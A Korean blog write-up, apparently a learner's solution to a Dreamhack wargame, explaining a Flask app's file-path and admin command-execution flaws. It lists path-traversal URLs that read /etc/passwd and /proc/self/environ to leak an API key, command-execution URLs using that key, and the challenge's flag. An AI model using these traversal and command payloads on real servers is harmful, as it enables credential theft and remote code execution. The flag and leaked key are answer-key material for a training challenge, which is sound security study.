보안 스터디/웹 해킹

[드림핵/워게임] File Vulnerability Advanced for linux - WriteUp

성밍쟁 2025. 2. 13. 18:25
728x90
반응형

프롤로그

하루 1문제 풀이가 될까 싶지만..knockon 부트캠프도 끝났겠다 이제 자율적으로 뭔가를 해야할 상황인 것 같고 그래서 문제 풀이좀 자주 해보려고 한다.

 

 

 

문제

https://dreamhack.io/wargame/challenges/417

 

File Vulnerability Advanced for linux

Description Exercise: File Vulnerability Advanced for Linux에서 실습하는 문제입니다. 문제 수정 내역 2023.07.28 Dockerfile 수정

dreamhack.io

 

File Vulunerability 파일 경로와 관련된 문제라고 추측이 된다.

 

 

 

 

코드 및 분석

import os, subprocess
from functools import wraps
from flask import Flask, request

app = Flask(__name__)
API_KEY = os.environ.get('API_KEY', None)

def key_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        apikey = request.args.get('API_KEY', None)
        if API_KEY and apikey:
            if apikey == API_KEY:
                return view(**kwargs)
        return 'Access Denied !'
    return wrapped_view


@app.route('/', methods=['GET'])
def index():
    return 'API Index'


@app.route('/file', methods=['GET'])
def file():
    path = request.args.get('path', None)
    if path:
        data = open('./files/' + path).read()
        return data
    return 'Error !'


@app.route('/admin', methods=['GET'])
@key_required
def admin():
    cmd = request.args.get('cmd', None)cc
    if cmd:
        result = subprocess.getoutput(cmd)
        return result
    else:
        return 'Error !'


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True)

우선 플라스크 코드이다.

API_KEY를 os.environ.get("API_KEY", None)으로 환경변수로 부터 API키를 가져온다.

 

/ 경로를 가게 된다면 그냥 API Index 글씨를 리턴해주고

 

/file 경로를 가게 된다면, files/ 내부에 있는 파일들을 ?path 파라미터로부터 파일명을 받고, 읽어들일 수 있다. 만약에 파일이 없거나...등등이면 Error ! 를 리턴한다.

 

/admin 경로로 가게 된다면, key_required 한데, 여기서는 파라미터로 cmd 를 입력받고, cmd 명령을 수행시킨다. 만약에 cmd 명령어가 잘못되어서 등의 이유로 실행되지 않는다면 Error! 을 출력한다.

 

 

 

풀이 전략

/file 경로를 보면 파라미터로 부터 입력되는 값을 검증을 하지 않는다. 저것을 잘만 이용하면 민감한 정보들을 추출해 내거나 볼 수 있을 것이다.

/admin 경로에서 필요로 하는 것은 API_KEY 값인데, 해당 키 값을 file 경로에서부터 추출해내서, cmd 명령어로 플래그를 획득할 수 있다.

 

 

 

 

풀이 과정

우선 /경로로 들어가보면

이거 하나 뜬다.

파일 구조에서 파일이 뭐가 있는 지 한 번 살펴보고

여기서 test.txt가 있는 거 같으니

/file?path=test.txt

이렇게 URL 경로를 설정해서 들어가보자.

test.txt 파일의 내용을 읽어왔다.

 

 

내가 배운것으로는 ../../../../../../../../etc/passwd 

../가 8개 들어갔었다. 이러면 내부 있는 파일 전부다 나갈 수 있어서 아예 루트로 빠져나갈 수가 있다.

이게 읽어지는지 먼저 파악을 해야한다.

그렇기에 path 파라미터를

/file?path=../../../../../../../../etc/passwd

설정한 URL 로 들어가면

확실히 민감한 정보들을 뽑아올 수 있는, 파일 경로 취약점이 발생하였다.

 

그럼 우리가 어떤 정보를 뽑아와야하는가? 

API_KEY값을 뽑아와야한다.

API_KEY = os.environ.get('API_KEY', None)

이 프로세스의 환경변수는 리눅스 구조에서

 

/proc/self/environ

파일에 위치하고 있다.

그렇기에 

/file?path=../../../../../../../../proc/self/environ

경로로 들어가게 되면

API_KEY값을 획득할 수 있다.

값은 d22cb18e86fc9e23996650150461c9f794ad3a4f  이고, 

 

이제 저 API_KEY를 이용해서 /admin에 접근하자.

그냥

/admin?cmd=ls

이렇게 수행을 한다면

Access Denied가 뜨는데 이걸

/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&cmd=ls

로 수행을 하게 되면

현재 위치의 파일들의 내용들을 확인할 수 있다.

 

그럼 아까 다시 / 경로로 다시 빠져나가보자.

/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&cmd=cd ../../../../../../../.. ; ls

여기 경로로 들어가면

알아서 URL 인코딩 되어서

/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&cmd=cd%20../../../../../../../..%20;%20ls

이렇게 바뀌고

flag 파일이 있는 것을 확인할 수 있다.

 

여기서 처음 생각한 것은 그러면 file 에서 ../../../../../../../../flag 를 했었는데, 실행이 되지 않았고, 왜인지 보니

/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&cmd=cd ../../../../../../../.. ; ls - al

여기로 들어가면 자연스럽게 URL 인코딩 되어서

/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&cmd=cd%20../../../../../../../../%20;%20ls%20-al

이렇게 바뀌고

읽기 권한이 없는 실행파일의 flag 를 확인하였다.

 

읽기 권하니 없어서 file 에서도 못읽은 것이다. 그래서 

/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&cmd=cd ../../../../../../../.. ; ./flag

를 해주면 해당 flag 실행파일이 실행이 될 것이고

실행을 하면

 

flag값이 나온다.

 

 

 

 

FLAG

플래그는  DH{2a4ff4e94d09793c662d1bd7ec5d497d7b190c6f}    이다.

 

 

 

에필로그

proc/self/environ은 처음 알았던 문제.

평소 웹개발할 떄 os.get.environ 을 많이 썼는데, 저게 저기서 오는 구나.

728x90
반응형